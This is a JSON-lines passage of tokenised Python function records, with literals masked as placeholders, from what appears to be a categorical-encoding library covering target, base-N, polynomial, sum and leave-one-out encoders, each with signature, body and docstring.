{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3990:c0:m6"}
{"signature": "def fit(self, X, y, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>y = util.convert_input_vector(y, X.index)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>X_ordinal = self.ordinal_encoder.transform(X)<EOL>self.mapping = self.fit_target_encoding(X_ordinal, y)<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = list(X_temp.columns)<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>X_temp = self.transform(X)<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n        self : encoder\n            Returns self.", "id": "f3991:c0:m1"}
{"signature": "def transform(self, X, y=None, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if y is not None:<EOL><INDENT>y = util.convert_input_vector(y, X.index)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self.target_encode(X)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n        X : array-like, shape = [n_samples, n_features]\n        y : array-like, shape = [n_samples] when transform by leave one out\n            None, when transform without target info (such as transform test set)\n\n        Returns\n        -------\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3991:c0:m3"}
{"signature": "def fit_transform(self, X, y=None, **fit_params):", "body": "return self.fit(X, y, **fit_params).transform(X, y)<EOL>", "docstring": "Encoders that utilize the target must make sure that the training data are transformed with:\n     transform(X, y)\nand not with:\n    transform(X)", "id": "f3991:c0:m4"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3991:c0:m6"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>self.mapping = self.fit_base_n_encoding(X)<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self._encoded_columns = X_temp.columns.values<EOL>self.feature_names = list(X_temp.columns)<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f3992:c0:m1"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X_out = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X_out[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X_out = self.basen_encode(X_out, cols=self.cols)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X_out.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X_out<EOL><DEDENT>else:<EOL><INDENT>return X_out.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3992:c0:m3"}
{"signature": "def inverse_transform(self, X_in):", "body": "X = X_in.copy(deep=True)<EOL>X = util.convert_input(X)<EOL>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = self.basen_to_integer(X, self.cols, self.base)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>if self.drop_invariant:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (X.shape[<NUM_LIT:1>],))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X if self.return_df else X.values<EOL><DEDENT>for switch in self.ordinal_encoder.mapping:<EOL><INDENT>column_mapping = switch.get('<STR_LIT>')<EOL>inverse = pd.Series(data=column_mapping.index, index=column_mapping.get_values())<EOL>X[switch.get('<STR_LIT>')] = X[switch.get('<STR_LIT>')].map(inverse).astype(switch.get('<STR_LIT>'))<EOL>if self.handle_unknown == '<STR_LIT>' and self.handle_missing == '<STR_LIT>':<EOL><INDENT>for col in self.cols:<EOL><INDENT>if X[switch.get('<STR_LIT>')].isnull().any():<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (col,))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return X if self.return_df else X.values<EOL>", "docstring": "Perform the inverse transformation to encoded data.\n\nParameters\n----------\nX_in : array-like, shape = [n_samples, n_features]\n\nReturns\n-------\np: array, the same size of X_in", "id": "f3992:c0:m4"}
{"signature": "def basen_encode(self, X_in, cols=None):", "body": "X = X_in.copy(deep=True)<EOL>cols = X.columns.values.tolist()<EOL>for switch in self.mapping:<EOL><INDENT>col = switch.get('<STR_LIT>')<EOL>mod = switch.get('<STR_LIT>')<EOL>base_df = mod.reindex(X[col])<EOL>base_df.set_index(X.index, inplace=True)<EOL>X = pd.concat([base_df, X], axis=<NUM_LIT:1>)<EOL>old_column_index = cols.index(col)<EOL>cols[old_column_index: old_column_index + <NUM_LIT:1>] = mod.columns<EOL><DEDENT>return X.reindex(columns=cols)<EOL>", "docstring": "Basen encoding encodes the integers as basen code with one column per digit.\n\nParameters\n----------\nX_in: DataFrame\ncols: list-like, default None\n    Column names in the DataFrame to be encoded\n\nReturns\n-------\ndummies : DataFrame", "id": "f3992:c0:m6"}
{"signature": "def basen_to_integer(self, X, cols, base):", "body": "out_cols = X.columns.values.tolist()<EOL>for col in cols:<EOL><INDENT>col_list = [col0 for col0 in out_cols if str(col0).startswith(str(col))]<EOL>insert_at = out_cols.index(col_list[<NUM_LIT:0>])<EOL>if base == <NUM_LIT:1>:<EOL><INDENT>value_array = np.array([int(col0.split('<STR_LIT:_>')[-<NUM_LIT:1>]) for col0 in col_list])<EOL><DEDENT>else:<EOL><INDENT>len0 = len(col_list)<EOL>value_array = np.array([base ** (len0 - <NUM_LIT:1> - i) for i in range(len0)])<EOL><DEDENT>X.insert(insert_at, col, np.dot(X[col_list].values, value_array.T))<EOL>X.drop(col_list, axis=<NUM_LIT:1>, inplace=True)<EOL>out_cols = X.columns.values.tolist()<EOL><DEDENT>return X<EOL>", "docstring": "Convert basen code as integers.\n\nParameters\n----------\nX : DataFrame\n    encoded data\ncols : list-like\n    Column names in the DataFrame that be encoded\nbase : int\n    The base of transform\n\nReturns\n-------\nnumerical: DataFrame", "id": "f3992:c0:m7"}
{"signature": "def col_transform(self, col, digits):", "body": "if col is None or float(col) < <NUM_LIT:0.0>:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>col = self.number_to_base(int(col), self.base, digits)<EOL>if len(col) == digits:<EOL><INDENT>return col<EOL><DEDENT>else:<EOL><INDENT>return [<NUM_LIT:0> for _ in range(digits - len(col))] + col<EOL><DEDENT><DEDENT>", "docstring": "The lambda body to transform the column values", "id": "f3992:c0:m8"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3992:c0:m10"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>ordinal_mapping = self.ordinal_encoder.category_mapping<EOL>mappings_out = []<EOL>for switch in ordinal_mapping:<EOL><INDENT>values = switch.get('<STR_LIT>')<EOL>col = switch.get('<STR_LIT>')<EOL>column_mapping = self.fit_polynomial_coding(col, values, self.handle_missing, self.handle_unknown)<EOL>mappings_out.append({'<STR_LIT>': switch.get('<STR_LIT>'), '<STR_LIT>': column_mapping, })<EOL><DEDENT>self.mapping = mappings_out<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f3994:c0:m1"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim, ))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self.polynomial_coding(X, self.mapping)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3994:c0:m2"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3994:c0:m5"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>ordinal_mapping = self.ordinal_encoder.category_mapping<EOL>mappings_out = []<EOL>for switch in ordinal_mapping:<EOL><INDENT>values = switch.get('<STR_LIT>')<EOL>col = switch.get('<STR_LIT>')<EOL>column_mapping = self.fit_sum_coding(col, values, self.handle_missing, self.handle_unknown)<EOL>mappings_out.append({'<STR_LIT>': switch.get('<STR_LIT>'), '<STR_LIT>': column_mapping, })<EOL><DEDENT>self.mapping = mappings_out<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f3995:c0:m1"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim, ))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self.sum_coding(X, mapping=self.mapping)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3995:c0:m2"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3995:c0:m5"}
{"signature": "def fit(self, X, y, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.use_default_cols:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>categories = self.fit_leave_one_out(<EOL>X, y,<EOL>cols=self.cols<EOL>)<EOL>self.mapping = categories<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f3996:c0:m1"}
{"signature": "def transform(self, X, y=None, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if y is not None:<EOL><INDENT>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.transform_leave_one_out(<EOL>X, y,<EOL>mapping=self.mapping<EOL>)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n        y : array-like, shape = [n_samples] when transform by leave one out\n            None, when transform without target information (such as transform test set)\n\n\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3996:c0:m2"}
{"signature": "def fit_transform(self, X, y=None, **fit_params):", "body": "return self.fit(X, y, **fit_params).transform(X, y)<EOL>", "docstring": "Encoders that utilize the target must make sure that the training data are transformed with:\n     transform(X, y)\nand not with:\n    transform(X)", "id": "f3996:c0:m3"}
{"signature": "def transform_leave_one_out(self, X_in, y, mapping=None):", "body": "X = X_in.copy(deep=True)<EOL>random_state_ = check_random_state(self.random_state)<EOL>for col, colmap in mapping.items():<EOL><INDENT>level_notunique = colmap['<STR_LIT:count>'] > <NUM_LIT:1><EOL>unique_train = colmap.index<EOL>unseen_values = pd.Series([x for x in X[col].unique() if x not in unique_train])<EOL>is_nan = X[col].isnull()<EOL>is_unknown_value = X[col].isin(unseen_values.dropna())<EOL>if self.handle_unknown == '<STR_LIT:error>' and is_unknown_value.any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if y is None:    <EOL><INDENT>level_means = (colmap['<STR_LIT>'] / colmap['<STR_LIT:count>']).where(level_notunique, self._mean)<EOL>X[col] = X[col].map(level_means)<EOL><DEDENT>else:            <EOL><INDENT>level_means = (X[col].map(colmap['<STR_LIT>']) - y) / (X[col].map(colmap['<STR_LIT:count>']) - <NUM_LIT:1>)<EOL>X[col] = level_means.where(X[col].map(colmap['<STR_LIT:count>'][level_notunique]).notnull(), self._mean)<EOL><DEDENT>if self.handle_unknown == '<STR_LIT:value>':<EOL><INDENT>X.loc[is_unknown_value, col] = self._mean<EOL><DEDENT>elif self.handle_unknown == '<STR_LIT>':<EOL><INDENT>X.loc[is_unknown_value, col] = np.nan<EOL><DEDENT>if self.handle_missing == '<STR_LIT:value>':<EOL><INDENT>X.loc[is_nan & unseen_values.isnull().any(), col] = self._mean<EOL><DEDENT>elif self.handle_missing == '<STR_LIT>':<EOL><INDENT>X.loc[is_nan, col] = np.nan<EOL><DEDENT>if self.sigma is not None and y is not None:<EOL><INDENT>X[col] = X[col] * random_state_.normal(<NUM_LIT:1.>, self.sigma, X[col].shape[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>return X<EOL>", "docstring": "Leave one out encoding uses a single column of floats to represent the means of the target variables.", "id": "f3996:c0:m6"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f3996:c0:m7"}
{"signature": "def fit(self, X, y, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT>unique = y.unique()<EOL>if len(unique) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(len(unique)) + \"<STR_LIT>\")<EOL><DEDENT>if y.isnull().any():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if np.max(unique) < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if np.min(unique) > <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>X_ordinal = self.ordinal_encoder.transform(X)<EOL>self.mapping = self._train(X_ordinal, y)<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and binary y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Binary target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": 